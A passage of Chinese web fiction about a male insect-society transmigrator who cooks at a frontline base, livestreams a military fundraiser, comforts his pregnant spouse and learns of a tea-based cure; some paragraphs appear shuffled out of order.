安瑞脸上露出了一抹浅浅的笑意,他小心地把诺拉移到枕头上,又安抚地揉了揉诺拉的金发,班长忙活得一头汗,根本没空管安瑞,扯着嗓门:“你去帮着分营养液吧,点清楚了,一只军雌三管。” “班长,我有更好配菜菜谱,您要不要试试?” “别瞎指挥啊,让你干嘛就干嘛。”班长用粗壮的古铜色胳膊擦了擦汗,不耐烦地回头,然后就愣住了,“雄……雄虫?” 【完结】 第七十二章 改良菜谱 真·只可远观不可亵玩。 自从那个时候开始他们就已经非常有自知之明地打定了主意,只欣赏安瑞的盛世美颜,绝不去碰软钉子。 忽然,军雌里有虫尖叫了一声:“安安,是安安!” 安瑞还没反应过来,一只五大三粗的橙发军雌就挤到了最前面:“这位阁下是美食主播安安,你们都不知道吗?” 安瑞含笑点头:“您是?” “我,甜甜圈拌米饭。”橙发军雌激动地满脸通红,紧张地搓了搓手,“没想到能见着您。” 安瑞恍然:“我知道我知道,你居然是炊事班的?” 旁边的雌虫立刻起哄道:“哪啊,他是前两天不服从长官命令,被夏佐少将罚来炊事班的。” 后厨顿时爆发起一阵笑声,就连安瑞也忍不住莞尔,橙发雌虫急得跺脚:“什么叫罚,明明是老子右腿受伤了,少将才暂时让我来炊事班养病的好吧!” “行了,都吵什么,快去干活。” 炊事班班长说着冲橙发雌虫一招手:“昆西,过来,送阁下去招待所,给找个套间,别找标间,听见没。” 安瑞无语望天。 这是把他当做来镀金的大少爷了吗? 安瑞认真地看着班长,努力用最诚恳的语气道:“我真是来做志愿者的,而且我会做饭,您就让我试试吧?” 班长这一嗓门,整个后厨都沸腾了,那些没分配雄主的年轻军雌争先恐后地跑过来,把安瑞围在了中间,有些胆子大地试探着上前跟安瑞搭话,还有些胆子小的不敢往前靠,但一双眼睛也是死死地黏在安瑞身上。 雄虫哎。 这可是活的雄虫。 还是一只这么好看的,一看等级就不低的年轻雄虫哎。 分配了雄主的军雌虽然没有单身虫那么激动,但也站在外面叽叽喳喳议论个不停。 为数不多的几只比较淡定的虫还得数厨师志愿者,来L星球的路上他们就已经近距离目睹了几只自我感觉良好的雌虫给安瑞塞签名照,结果被安瑞顶回来的全过程,那叫一个彬彬有礼守身如玉。 昆西在一边帮腔:“对,班长,他真会做饭,安安可是美食博主,全网 4000多万粉丝呢。” “你少跟这起哄。” 趁着班长训昆西的功夫,安瑞突然走到灶台边,拿起了一把菜刀。 除了少数几只看过安瑞直播或者视频的虫,其他军雌顿时倒抽了一口冷气。 雄虫,菜刀。 光是把这两个放在一起,就已经是雄保协会要出动的程度了。 炊事班班长更是急得跺脚,又不敢直接上手去抢,只能来回来去摸自己的大光头。 安瑞拎着菜刀,不慌不忙走到案板边,拿起一个白菜,手起刀落,咔咔几下,白菜就被切成了大小均匀的小块。 炊事班班长和一众军雌全都看傻眼了。 炊事班班长一声吼,刚刚还围在安瑞身边嬉笑的雌虫顿时做鸟兽散,一眨眼的功夫就回到了自己的岗位上。 班长显然也没想到自己分配的志愿者里居然会有一只尊贵的雄子,为难地挠着锃明瓦亮的光头:“那个,阁下啊,后厨烟大,也没有什么休息的地方,别熏着您。要不我找虫送您去招待所吧?” “班长,您误会了,我是志愿者,我……” “明白。”班长一拍脑袋,尽量把声音放得柔和,“到时候长官来问,我肯定给阁下一份最高的评价。” 这真的是传说中四体不勤,五谷不分的雄虫吗? 这菜刀使的,比他们伙头兵都溜索啊。 与此同时,昆西为首的十几个安瑞粉丝脸上都露出了志得意满的微笑。 叫你们看不起我偶像,该。 安瑞微笑着看向炊事班班长:“长官,不知道我这样够不够格给咱们炊事班当志愿者啊。” 安瑞熟练地翻炒了几下,等牛肉变色盛出备用,就着锅里的剩油下入白菜,又放了少许食盐和胡椒粉调味,最后把炒好的牛肉放进去,一块翻炒了几下,把菜盛到盘子里。 一盘白菜炒牛肉就做好了。 可惜没有酱油,也没有葱姜蒜,要不然能更好吃。 安瑞遗憾的在心里叹了口气。 雄虫一套动作行云流水,把旁边的炊事班班长看得直发愣。 虫神在上,这个世界上居然真的有会做饭的雄虫。 安瑞笑盈盈夹起一片牛肉递到炊事班班长嘴边:“长官,要不要尝尝?” 班长黝黑的脸微微一烫,囫囵着就把那片牛肉吞进了嘴里。 牛肉混合了白菜的清甜,咸香里带了几分恰到好处的辛辣。 居然挺好吃的? 班长不可置信地舔了舔嘴唇,眼睛里不由得流露出了几分意犹未尽的表情。 以昆西为首的十几个安瑞的粉丝早就忍不住了,扑上来抢过安瑞手里的菜盘,你一块我一块就把白菜炒牛肉瓜分了个干净。 “够,本来也够格,阁下能来我们炊事班是我们的荣幸。”炊事班班长讪讪地笑了,“我这不是怕您累着吗?” “长官,其实白菜和牛肉还有更好的烹饪方式,我做给您看看?” 班长为难地舔舔嘴唇,到底还是点了点头:“那您小心点。” 安瑞好像没看到班长脸上半信半疑的神色,随手拿起一块牛肉,切成一厘米厚的薄片,走到大铁锅旁边,倒油开火下牛肉,一气呵成。 只听刺啦一声,后厨里弥漫着一股牛肉的香味 炊事班班长站在旁边,一脸紧急集合,像拦又不敢拦,只能站在安瑞身边三步远,随时准备在出现危险的时候抱起雄虫跑路。 昆西一边舔盘一边感叹:“真他雌的好吃。” “都干什么呢,还有没有点规矩了。” 班长眼睛一瞪,昆西立刻撂下盘子跑回了自己原来的岗位上。 “大家都跟安瑞阁下学,今天晚上的配菜换成牛肉炒白菜。” * 晚饭时分,第一批轮岗吃饭的军雌已经在配菜窗口排起了大队。 “这都已经过饭点了,怎么还不放饭啊。” 军雌埋怨东区炊事班做饭难吃也不是一回两回了,要是往常,班长肯定会假装没听见,不过今天,他可是底气十足。 “各位,你们可别说我们炊事班不创新,今天就给你们上道新菜。” 话音刚落,满满几大盆白菜炒牛肉就被端到了配菜窗口,食堂里顿时充满了饭菜的香味。 刚刚还在扯着嗓子埋怨的军雌顿时闭了嘴。 “我艹,好香。” “这回炊事班煎的牛肉不错啊。” “不对,煎牛肉不可能这么香。” 不一会儿的功夫,不少排在前面的军雌已经打到菜了,一时之间,食堂里全是狼吞虎咽的声音。 排在后面的雌虫被馋得直流口水,伸长了脖子望着窗口,只恨自己刚刚为什么不跑得快一点。 炊事班班长一脸扬眉吐气地靠在墙边,志得意满地摸着自己的大光头。 他看谁以后还敢说东区食堂的配菜比不上西区食堂。 * “阁下,这回真是多亏您了。”班长用围裙擦着受,一张大嘴已经咧到了耳根子,“您是不知道,那些军雌晚饭吃得有多高兴。” 安瑞脸上依旧是浅浅的笑容:“种花调料公司给前线捐赠了咖喱和酱油,估计这两天就能到,到时候能做的菜就更多了。” “我真服了,还有二十分钟下一批次就该进来了。” “东区食堂的饭本来就贼难吃,现在不仅难吃,连开饭时间都不能保证了吗?” 就在不少军雌已经打算放弃配菜只吃营养液的时候,窗口的挡板终于撤下来了,炊事班班长站在窗口里扯着大嗓门:“不好意思各位,久等了,今天的配菜来了。” 队伍里军雌的抱怨并没有因为炊事班班长的出现而减少,反倒是愈演愈烈。 “天天就那老几样,烦都烦死了。” “就是,你看看西区食堂,一样的补给,他们怎么就能把牛肉煎得外焦里嫩呢。” “我到底什么时候才能轮换回西区食堂啊。 ” “哎,好。”班长乐得眼睛眯成了两条缝,给安瑞盛了满满一大碗菜,“那您早点休息,明天上午九点来后厨就行。” 反正早饭只有营养液,不需要做配菜。 安瑞看着比自己脸还大的铁盘里堆着的像小山一样的牛肉,颇为苦恼,最后还是决定端去和诺拉一起吃。 安瑞轻车熟路地找到诺拉的病房,轻轻打开房门。 第七十三章 诺拉牌汤圆 “乖乖,怎么了?” 安瑞试探着揉了揉诺拉的金发,声音又轻又柔。 诺拉满满睁开眼:“我……我刚睡醒,你就不见了。” 安瑞脑袋上冒出了三个硕大的问号,半天才弱弱地问:“所以我到底是走还是留?” 病床上,雌虫脸朝里侧躺着,肩膀不停地轻微抽动,好像是在哭。 安瑞眉心一跳。 之前听说诺拉怀孕,他在来的路上就在虫网上查了不少资料。 确实有帖子说一部分雌虫在怀蛋之后情绪不稳定,还会变得敏感黏虫,特别渴望雄虫的安抚。 安瑞把碗放在床头几步走过去,就看到诺拉紧紧闭着眼,额头上一双触角无力地耷拉着,脸上爬满了泪痕,手边还拽着一件熟悉的米白色衣服,上面画着一个可爱的粉色兔子。 是他找了很久都没找到的睡衣。 诺拉愣了两秒,低着头小声啜泣:“我 ……我不知道,对不起,但是我控制不住我自己。” 其实自从诺拉怀蛋开始,他就发现自己的情绪不太对劲,经常会莫名其妙地难过到流泪,还会疯狂地想念自己的雄主。 想念雄主的怀抱,想念雄主的声音,甚至想念雄主身上的气味。 战斗紧张的时候还好,忙起来就什么都不会想了。 可一旦闲下来,他又忍不住开始胡思乱想,情绪就像一艘刹车坏了的星舰,在他身体里横冲直撞,根本停不下来。 尤其是后来他精神力受损,被从战场上转移到基地医院之后,每天空闲时间一下多了,就更管不住自己的情绪。 他甚至不敢给安瑞发信息,生怕一个忍不住,就暴露了自己的情况。 唯一值得庆幸的是,临走的时候他偷偷拿了雄主的睡衣,实在想雄主想到不行了的时候,他就会把睡衣找出来,抱在怀里,假装雄主还在他身边。 声音里带着浓浓的鼻音,软绵绵糯叽叽的,听起来可怜极了。 安瑞赶紧坐到床边,把自家雌君抱在怀里,亲了亲他的侧脸,又把手伸进被子里揉了揉他的小腹:“乖乖,我错了,我不该走的,我不是志愿者吗,刚刚去帮炊事班做饭了。” 诺拉吸了吸鼻子,含着泪的眼睛一瞪:“对,前线危险,我都说了让您回去了,你怎么还不走。” 也幸好有这件睡衣,在其他虫面前,诺拉还能勉强控制住自己的情绪,假装自己是只坚强的雌虫。 可今天安瑞的出现成为了压倒他的最后一根稻草,脑袋里紧绷了一个月的弦彻底绷不住了,诺拉也不知道他自己在说些什么,只觉得脑子里乱乱的,特别想哭。 可能真的是被安瑞宠坏了,诺拉干脆自暴自弃地把脸埋进枕头里,哭得像个振动小马达,两只黑色的小触角也难过地垂在了两侧。 不就是怀个蛋吗,有什么可矫情的。 “谁规定雌虫就一定要强大到没有弱点。”安瑞轻轻戳了戳军雌消瘦的面庞,“再说了,我家中将在外面已经很强大,很冷静了,所以在家里,完全可以不那么强大,是不是?” “那……那您会讨厌我吗?” 诺拉也不知道自己是怎么了,一些平常问不出口的话居然就这么从嘴里说了出来。 话刚出口他就后悔了。 他害怕,害怕雄主的答案不是他想要的,更害怕雄主说些口是心非的话哄他。 “当然不会了。”漆黑的弯眸认真地看着诺拉,安瑞停顿了一下,忽然笑道,“更何况,我家宝贝像个汤圆一样,我怎么会不喜欢呢?” 诺拉迷茫地眨眨眼:“汤圆,什么是汤圆?” 安瑞凑到诺拉耳边:“就是那种糯叽叽的小圆球,外皮又弹又软,轻轻一咬,就会流出香甜的馅儿。” 诺拉的脸腾一下涨得通红。 明明雄主实在说甜品,可他就觉得臊得慌,两只触角也羞得拧在了一块。 “您……您……”诺拉吭哧了半天也没说出一句完整的话,自暴自弃地别过头,“您太过分了。” “这不是你主动问的吗,我又没说什么。”安瑞终于忍不住轻轻rua了一把软乎乎的触角,“好了好了,乖乖,乖乖不难受。”安瑞一边哄一边轻轻抚摸着雌虫干枯的长发,“现在停在了,基地很安全,我就在这哪也不去,就陪着我家小诺尔。” 诺拉哭了一会儿,后知后觉地发现好像有点丢虫。他红着脸,像个巨大号的毛毛虫一样一点一点蹭到安瑞的腿边,把下巴放在自家雄主腿上,闷闷地说:“对不起雄主,我……我是不是特别烦。” 安瑞俯下身,小心地避开那双容易害羞的触角,在诺拉额头上亲了几下:“别胡说。” “可是雌虫不该这样的。”诺拉抬起头,一双苍蓝色的眼睛里充满了纠结,“雌虫应该强大,冷静,克制……” “你看,QQ弹弹,又甜又糯,是不是,小汤圆?” 诺拉浑身像煮熟了的虾一样红了个彻底,拽起被子盖住了头。 雄主简直太过分了。 他决定和雄主冷战五分钟。 嗯,至少三分钟。 * “我艹,好香。” 欧文点点头:“我听说你们东区食堂的志愿者里有一位雄子,还是个美食主播。” “可不是,这两天东区食堂的新菜就是他研究的,可厉害了。” “你带我去找他。” 与此同时,安瑞正在后厨指导军雌做咖喱鸡肉,忽然肩膀就被拍了两下。 “阁下日安。” 安瑞愕然回头,就看见一只中年雌虫冲他行了个军礼:“自我介绍一下,我是第一军团的上将,欧文。” 第一军团上将,那不就是诺拉的顶头上司吗。 安瑞把手在围裙上擦了擦:“上将您好,我是安瑞。” 似乎是没想到雄虫的性格会这么好,欧文着实愣了一下,才有点不好意思地笑了笑:“我想请您去办公室聊聊,不知道您方不方便。” 如果是年轻军雌,安瑞肯定会拒绝,不过眼前这位上将年龄明显可以做自己的父亲了,安瑞倒是也不怕他对自己有什么其他的想法。 “那后厨这边?” 炊事班班长立刻拍胸脯:“咖喱鸡肉,我已经学会了,您交给我就成。” “闻着好像是咖喱。” “天啊,炊事班也是出息了,居然会做咖喱了,我记得咖喱还挺贵呢。” 午饭时分,东区食堂配菜窗口已经排起了长队,军雌们拿着餐盘垫着脚,不住地往窗口里望。 炊事班班长挺着胸脯站在食堂中央,享受着军雌们赞许和敬佩的目光。 毕竟咖喱都是现成的,往鸡肉和胡萝卜里一放一炒就行,连盐都不需要再加,这种傻瓜操作,也确实不需要他盯着。 于是安瑞冲欧文上将点头道:“荣幸之至。” * “阁下喝水。” 欧文上将把一个瓷杯端到安瑞面前。 安瑞接过来抿了一口。 竟然不是一般的白水,入口有点涩,但咽下去之后又带着回甘。 安瑞的脸色微微一变,低头看了眼瓷杯。 水面上漂着几片眼熟的绿色叶子。 居然是绿茶。 忽然,门口乌泱泱走进来了一队军雌,为首的是一只中年雌虫,肩膀上三颗耀眼的星星在阳光的照射下泛着金光。 原本还叽叽喳喳的食堂一下鸦雀无声,排队的军雌全部站的笔直,齐刷刷地敬礼:“上将好。” 炊事班班长赶紧跑过去敬了个礼:“欧文上将,您怎么来了?” 安瑞看了眼还在做配菜的军雌,动作确实非常熟练。 穿越到虫族也将近一年了,但安瑞从来没见过茶叶,咖啡倒是见过一两次,但因为虫族嗜甜,所以咖啡并不算是大众饮品。 之前直播的时候,安瑞为了研究新菜也试图找过茶叶,想什么龙井虾仁茶叶蛋,都是种花的传统美食,再往前说一步,奶茶店里绝大多数饮品,都离不开茶叶。 他在虫网搜了一大圈,还专门问了吐哥,可惜还是一点线索都没有,后来安瑞也就慢慢放弃了。 居然是达蒙? 安瑞脑海里一下就浮现出种花调料公司开业时那双碧绿色的眼睛。 他低头看着水面舒展缱绻的茶叶,总觉得这一切之间好像有什么联系,但又想不清楚究竟是怎么回事。 脑子好像乱成了一团被猫玩过的毛线团,怎么都理不清楚。 “对了阁下,这次我请您来是希望您能帮我们一个忙。” 欧文粗犷的声音一下就打断了安瑞的思绪,他勉强抬起头:“您说,如果我能办到,肯定帮忙。” “您也知道,这场仗打了三个月了,军部财政吃紧,之前的捐款链接效果也不是很好。”欧文用军帽扇风,“您是虫娱很有名的主播,不知道您方不方便在军营做一场直播,再顺便帮我们宣传一下捐款链接。” 安瑞眉头微皱,喃喃道:“军费已经这么紧张了吗?” 怪不得会招志愿者,原来真是没钱了。 没想到今天,居然会在欧文上将的办公室看到绿茶。 安瑞心脏砰砰乱跳,面上却不动声色:“这饮料喝起来到是别有一番滋味,不知道上将是从哪买的?” 欧文上将哈哈一笑:“不是买的,是好友相赠。我以前经常头疼,自从好友送了我这些叶子让我泡水之后,倒是好了许多。” 安瑞跟着笑了笑,状似随意地问:“您的好友?” “对,达蒙教授,你知道不,就是研究精神力特别有名的教授。”欧文使劲吸溜了一下自己杯子里的水,“哦对了,他这回作为外聘专家,也跟着军部来了基地,有时间我给阁下引荐一下。” 欧文叹了口气,站起来把门关上:“阁下,我也不瞒您了,政府的税收是一年不如一年,不打仗倒还勉强能支撑,这打起仗来,哎,财政的那帮虫渣天天哭穷,我们军部能怎么办,总不能真让将士们赤手空拳和敌军搏斗吧。” 安瑞沉默了。 虫族的经济完全被以格林家族为首的几个大家族掌控,贫富差距悬殊,大家族要逃税,办法多的是。 税收不够也正常。 “您放心,我会尽力。” 第七十四章 军营直播 “大家好,欢迎来到小安的直播间。” 【酷雌:主播这是去食堂后厨体验生活了吗?】 【西瓜彩虹糖:等等,这怎么看着那么像军部的临时食堂呢!】 “没错,我现在就在L星球的军部基地,这边网络信号不太好,如果待会有卡顿的情况,大家多多谅解。” 安瑞话音未落,屏幕上已经闪过了一串感叹号。 【喵喵至上:救命,居然真的会有去前线的雄虫】 【西瓜彩虹糖:所以前线战况怎么样,我听说前线暂时休战了?】 【萱儿:安安为什么要去前线,是不是诺拉中将受伤了呜呜呜呜】 安瑞看着密密麻麻的弹幕:“大家别着急,我一个一个回答。首先关于前线的战况,大家可以关注军部官方账号,更多的信息我也不太清楚。其次我为什么会来前线,因为我报名了军部组织的一个志愿者活动,现在我是军部炊事班一名光荣的厨师志愿者。” 【说了你也不信:哇塞,不愧是我喜欢的主播,安安太猛了】 【平安快乐:虽然不是很喜欢主播,但还是要给主播点赞】 【首都婚姻莱昂律师:(赞)(赞)(赞)】 “感谢大家的鼓励,今天就简单带大家看看我在炊事班做志愿者的一天吧。” 安瑞举着智脑走到后厨,戴上围裙:“现在是首都星时间上午九点整,我们要开始准备中午的配菜了。” 【午饭吃什么:啊,安安,我的安安,我们以为你丢了呢】 【翅膀硬了:艹,你要是再不开播我就要去你家找你了(狗头)】 【今天找到雄主了吗:一把抱住我的安安,话说诺拉中将是不是去前线了,好担心他】 “我没丢,大家放心,最近几天是去处理了一点私虫事宜。”安瑞把镜头微微一转,对准了东区食堂,“大家猜猜,我现在在哪?” 【说了你也不信:嘶……,感觉像个食堂】 安瑞把智脑架在灶台边,熟练地拿起成筐的土豆,在水池边开始清洗:“今天中午的配菜是咖喱土豆牛肉,我们需要在十一点之前把所有的准备工作做完。” 【萱儿:天啊,我第一次看到这么多土豆】 【翅膀硬了:没想到炊事班也这么辛苦】 “你别跟着捣乱,去分营养液去。” 炊事班班长眼睛一瞪,昆西耸了下肩,着急忙慌就溜走了。 安瑞回到直播间,拿起菜刀刚要切土豆,就看到 直播间的在线观众数量突然飞涨,很快从100多万涨到了将近400万,弹幕上也出现了很多他从来没见过的ID。 【午饭吃什么:我家安安也是出息了,直播间居然被军部转发了】 【西瓜彩虹糖:不止,还上虫网热搜了呢】 【强军有我:雄虫,前线,炊事班,从来没想过有朝一日我会把这三个词联系在一起】 看着屏幕上各种各样的礼物,安瑞一边切土豆一边解释:“特别感谢大家的支持,我今天的直播其实也是受到了军部的邀请,所有直播打赏的礼物都会捐献给军部,另外军部的卫国有我捐款链接我已经放在评论去了,希望大家能够积极支持。” 【平安快乐:前线没有料理机吗,还需要手动处理土豆和牛肉】 还没等安瑞说话,悄咪咪站在一旁看了半天的昆西已经激动开麦:“还自动料理机,那玩意儿一次才能洗多少菜,还死贵死贵的,哪有钱买啊,而且料理机多费电,荒星哪有那么多电。又是你平安快乐,说话不过……” 后面的话被安瑞捂着嘴堵回去了。 【萱儿:安安超级棒,必须支持】 【说了你也不信:决定捐出半个月的生活费】 【帝国崛起:(强)(强)(强)】 “军雌已经在配菜窗口排队了,我们的炊事班将士也在抓紧时间制作配菜,随时进行添补。”安瑞举着智脑在后厨晃了一圈,又把镜头对准食堂用餐的军雌,“来的最早的一批军雌已经开始用餐了。” 【喵喵至上:为什么学校食堂不能做咖喱,我恨】 【上将的勋章:想当年我上战场那会,营养液能管够都不错了,现在居然还有现做的配菜】 【上将的勋章:雄子居然会亲自给伤员送饭,电影这么编我都得说太假好吗】 【萱儿:突然有点紧张】 【今天找到雄主了吗:我心理承受能力不算强,但安安可以,我就可以】 因为最近半个多月都在停战期,临时医院的伤员在慢慢减少,睡在走廊上的军雌也比安瑞第一天来少了很多。 他带着昆西,把营养液和配菜逐个交给负责各个病房的军医和护士志愿者,护士忙不过来的时候他们俩也会帮着打打下手。 虽然安瑞没有特意去拍伤员,但干活的过程中总是不可避免地扫到几个画面。 饶是这些伤员已经接受了包扎和治疗,看起来依然非常可怖。 缺胳膊断腿倒还好,毕竟只要保住性命,凭借雌虫的恢复能力还可以再生,比较惨的是翅翼受伤的,因为没法再生,被砍得只剩一半的翅翼只能在翅囊外面耷拉着,永远没法收回去。 当然,更悲惨的是那些精神力受到永久损害的雌虫,据军医形容,这些雌虫的精神海无时无刻不像被针扎得一样疼,隔着老远就能听到那些雌虫痛苦的哀嚎。 熬过这段时间,运气好的雌虫精神力能恢复个七八,运气不好的就会像维加一样,精神海落下永久损伤,永远无法治愈。 随着安瑞走过一间间病房,直播间的弹幕也冷清了不少,反倒是礼物特效一个接着一个。 萱儿送出虫神之吻×3 【西瓜彩虹糖:味觉共享,有没有味觉共享,求求了】 “因为信号原因,我就没办法给大家味觉共享了,不过就是普通咖喱的味道,大家可以自行脑补一下。”安瑞回到后厨,神秘兮兮地眨眨眼,“接下来,我要带大家去完成一项重要的任务。” 安瑞一手拿智脑,一手推餐车,艰难地往食堂外面走,还没走两步,昆西不知道从哪冲了出来:“阁下,我帮您推。” 安瑞下意识地看了一眼炊事班班长,眼看班长笑呵呵没有过来把雌虫薅走的意思,才冲昆西点头致谢:“那麻烦你帮我推到临时医院。” 有了昆西帮忙,安瑞总算能专心直播:“我们炊事班每天还有一项特别重要的任务,就是给临时医院里的伤员送餐,待会的画面可能会有令虫不适,心理承受能力比较低的观众谨慎观看。” 午饭吃什么送出虫神的礼物×5 菜农送出虫神降临×10 这场直播,安瑞粉丝涨了将近20万,大部分都是那些从来不看娱乐直播,只关注军部新闻的中老年雌虫。 观众的打赏分成有将近80万星币,当然这只是冰山一角,更重要的是军部的募捐结果。 直播刚结束, 欧文上将就跟他说军部后台的募捐已经到达了1000万星币,还在不断上涨。安瑞对这个结果也很满意。 打发昆西把餐车送回去,安瑞拿着一盒配菜和三根营养液就上了五楼。 “猜猜中午吃什么?”安瑞把餐盒背在身后,走到诺拉床边。 原本靠在床头看军书的诺拉瞥了安瑞一眼,轻轻哼了一声,拽起被子就蒙住了头。 安瑞:??? 他好像没惹诺拉生气吧。 这是又怪他上午没来陪床了? 安瑞好脾气地凑过去,戳了戳把自己包成一个蚕宝宝的雌虫,轻声哄着:“乖,我上午去直播了,昨天不是也跟你汇报了吗,别生气了中将长官。” 蚕宝宝轻轻蛄蛹了两下,又没动静了。 安瑞见状立刻改口:“我错了,不管是什么原因,都不能成为冷落我家宝贝的理由。乖宝先把饭吃了再生气好不,要不然一会配菜要凉了。” 午饭分发完毕,安瑞站在楼道冲镜头招招手:“今天的直播到这里就结束了,特别感谢大家愿意看完这场直播,也希望各位在自己的能力范围内,可以为边境的将士贡献自己的一份力量,谢谢大家。” “安安超级棒!” 直播刚一结束,旁边的昆西就使劲鼓掌喝彩,声音大得恨不得整栋楼都听见。 眼看旁边的护士眼睛都立起来了,安瑞赶紧捂住昆西的嘴:“小点声,医院不让大声喧哗知不知道。” 蚕宝宝又蛄蛹了两下,从里面冒出来一双湛蓝色的眼睛。诺拉声音闷闷的:“你直播就直播,为什么旁边还有一只军雌。” 诺拉的脸腾地一下就红了,咬着嘴唇又缩回了被子里。 雄主简直太过分了。 今天也要不理雄主五分钟。 不,十分钟! 第七十五章 绿茶 在安瑞的每天的努力下,半个月后,诺拉的精神力完全恢复,从医院回到了属于自己的宿舍,甚至每天早晚还会跟着其他军雌一起出操训练,巡视边境。 在虫族看来,怀孕未满20周的雌虫就跟正常虫一样,根本不需要什么优待。 安瑞虽然担心,但是他知道诺拉的性格,也不好阻拦,只能每天中午晚上用不同的方式给自家雌君做精神力疏导。 安瑞愣了一下,才反应过来诺拉说的应该是昆西,赶紧解释:“这不是配菜有点多,我自己拿不过来,就让昆西帮我一下吗。” “那您就不能来找我吗,我才是您的雌君啊。”诺拉低着头嘟嘟囔囔,“还用手捂那只军雌的嘴,我都没这么亲近过您。” 安瑞忍不住失笑,俯身把巨大个的蚕宝宝搂在怀里,亲了亲诺拉的脑门:“这你可冤枉我了,你还要我怎么跟你亲近,这两天晚上咱们不都……” 安瑞说着凑近了诺拉,在他耳边含笑说了一句话。 随着诺拉的情况渐渐稳定下来,安瑞又一次想起了绿茶的事。 不管绿茶的出现是不是个巧合,他都要去找达蒙问个明白。 就算真是他想多了,他也要想办法把绿茶带回首都星,高低开两个饮品店,让虫族见识一下奶茶的威力。 以虫族对甜品的喜爱程度,他都不敢想象奶茶店的生意会有多好。 于是,在一个风和日丽中午,安瑞哄睡了诺拉,独自一虫前往了达蒙所在的宿舍。 “安瑞阁下,稀客啊。” 前几天的军营直播在虫网热搜上挂了三天,连带着前线也沸沸扬扬,全都知道东区食堂来了 “当然。” 碧绿色的眼睛里闪过几分耐虫寻味的深意,达蒙从抽屉里拿出一个木头罐,往瓷杯里倒出少许茶叶,加入开水,把杯子递到安瑞手边:“阁下请。” 安瑞双手接过,轻轻抿了一口,称赞道:“味道真的很好。” 达蒙微微一笑,悠悠道:“我的雄主以前也很喜欢喝绿茶,甚至绿茶就是我雄主发现的,他跟我说这些叶子可以泡水喝,虽然刚进嘴是苦的,但很快就会有回甘。” 安瑞手一抖,瓷杯里的水差点洒出来。 能分辨出绿茶,还知道绿茶能够泡水喝…… 一个诡异却无比合理的想法出现在了安瑞脑海中。 另一边,达蒙还在继续回忆:“我的雄主是一只特别奇怪的雄虫,他跟我说每只虫都是平等的,跟我说他这辈子只会娶我一只雌虫,没想到他还真的做到了,你说他奇不奇怪?” 安瑞CPU已经快被烧了,只能附和着干笑几声。 好在达蒙也没有挑理:“还记得一百多年前,虫族种植业没有现在发达,可我家雄主居然掌握很多我们不会的种植知识,硬生生在五十年内,改变了虫族果蔬匮乏的情况,所以现在虫族平民才能吃得起新鲜蔬菜。” 个美貌又年轻的雄虫志愿者,闹得安瑞去炊事班工作都得偷偷摸摸,生怕被狂热的军雌堵在半路上。 因此,达蒙并没有对安瑞的突然出现表示出惊讶。 “打扰您休息了,实在是应该早点来拜访您,只是前些天一直太忙,最近才腾出时间。” 年老的亚雌微微一笑,对安瑞的说辞不置可否:“您请进,喝点什么,咖啡还是果汁?” 安瑞心头一震,装作随口问道:“我听欧文上将说,您这里有一种很神奇的叶子可以泡水喝,我能尝尝吗?” 安瑞只觉得心跳越来越快,下意识地低头抿着茶水。 就听对面的亚雌轻笑了两声:“可惜啊,我家雄主那么会种菜,却不会做菜,他说虫星的烹饪技术实在太差,最想念的就是家乡的麻婆豆腐。” 安瑞猛地抬起头,嘴唇都有些发抖,脑子里乱乱地,有很多话想说,却全都卡在了嗓子眼,一句也说不出来。 “可惜,我查遍了虫星的资料也找不到麻婆豆腐的做法,我家雄主直到去世,也没有吃上一份麻婆豆腐。后来有一天,一个偶然的机会,我在虫娱看到了你的直播,里面做的居然就是 又或者,是什么人。 达蒙从储物胶囊里拿出了一封信:“我家雄主给故乡来的虫写了点东西,今天我总算是能送出去了。” 安瑞做了两次深呼吸,才满满打开信封,里面只有薄薄的一张纸,上面是两行潇洒不羁的行书。 ——那年杏花微雨,你说你是果郡王。 ——但只有我知道,亲爱的朋友,你来自那美丽的远方。 安瑞:…… 刚刚还挺激动的情绪一下就被整没了。 用《甄嬛传》对暗号可还行。 不过他现在也算是能百分百确认,达蒙口中的雄主确实也来自蓝星。 他把信小心翼翼地收起来:“不管怎么说,都谢谢您对我直播和调料公司的支持。我还有个不情之请,您能不能告诉我这些茶叶是从哪里采摘的,我好带回主星,再做一些新的美食。” “这恐怕不行。”达蒙轻轻摇了摇头,“不瞒阁下,茶叶的产地就是L星球,但我不能让你把他带走。” “为什么?” 安瑞脱口而出问了一句,又觉得好像不太礼貌,歉意地拿起瓷杯,想通过喝水缓解尴尬。 “因为在十几年前,我们实验团队就发现,绿茶或许可以治疗雌虫的精神力暴动。” “啪”地一声,瓷杯落在地上,摔了个四分五裂。 安瑞手忙脚乱地想拿抹布打扫,却被达蒙按住了:“不着急,您先听我说。我们发现,在雄虫精神力作用下生长的茶叶,可以治疗精神力暴乱。” 安瑞努力从纷乱的思绪中挣脱出来,轻轻问:“那,为什么茶叶不仅没有作为治疗型药物上市,反倒是被封锁在了L星球?” 我家雄主心心念念的豆腐。”达蒙打开智脑点了几下递给安瑞,“所以我才用雄主的账号,给阁下送了不少礼物。” 安瑞颤抖着手接过智脑,屏幕上赫然就是那个熟悉的用户名 ——菜农。 “我家雄主经常说自己就是个农民,这辈子的心愿就是让虫族所有平民都能吃上新鲜蔬菜,所以就起了这么个名字。” 达蒙的情绪没什么波动,仿佛只是在讲一个有意思的故事,只是那双碧绿色的眼睛凝视着安瑞,仿佛透过他,在看到什么虫。 “茶叶要想有治疗精神力的效果,必须经过雄虫精神力的培育,但我不想止步于此,我希望能培育出一种茶叶,不依靠雄虫也能治疗精神力暴乱。” 安瑞声音发颤:“所以您成功了吗?” “没。”达蒙苦笑了一声,“当时雄主和我一起培育种子,在实验室一待就是五年,他负责育种和提供精神力,我负责测量茶叶的治疗效果,可惜,就在我们马上要成功的时候,实验室意外爆炸。” “警方的调查结果,是有实验员违规操作仪器,引发了爆炸。”达蒙使劲拍了下桌子,“但我的学生我知道,他们怎么可能违规使用仪器。” 安瑞沉默了。 虽然达蒙没有明说,但真正的凶手已经很明确了。 如果治疗剂出台,精神力暴乱能被根治,那格林家族的舒缓剂就彻底没有市场了。 每年上百亿星币的买卖,格林家族的命脉,他们怎么可能坐视不理,肯定会不遗余力地毁掉实验结果。 安瑞盯着地上的碎瓷片,半晌才轻轻问:“所以,您为什么要告诉我这些?” “安瑞阁下当真是冰雪聪明。”亚雌哈哈一笑,冷不丁说,“我希望阁下能够帮我重启试验室。” 安瑞避开达蒙炽热的目光:“您这话我听不明白,如您所见,我就是个美食主播而已。” “但阁下是雄虫,这就够了。”达蒙眼神坚定,“这些年,我不是没想过重启实验项目,可惜 没有雄虫愿意配合我,但阁下不一样,我相信阁下会支持我的计划。” 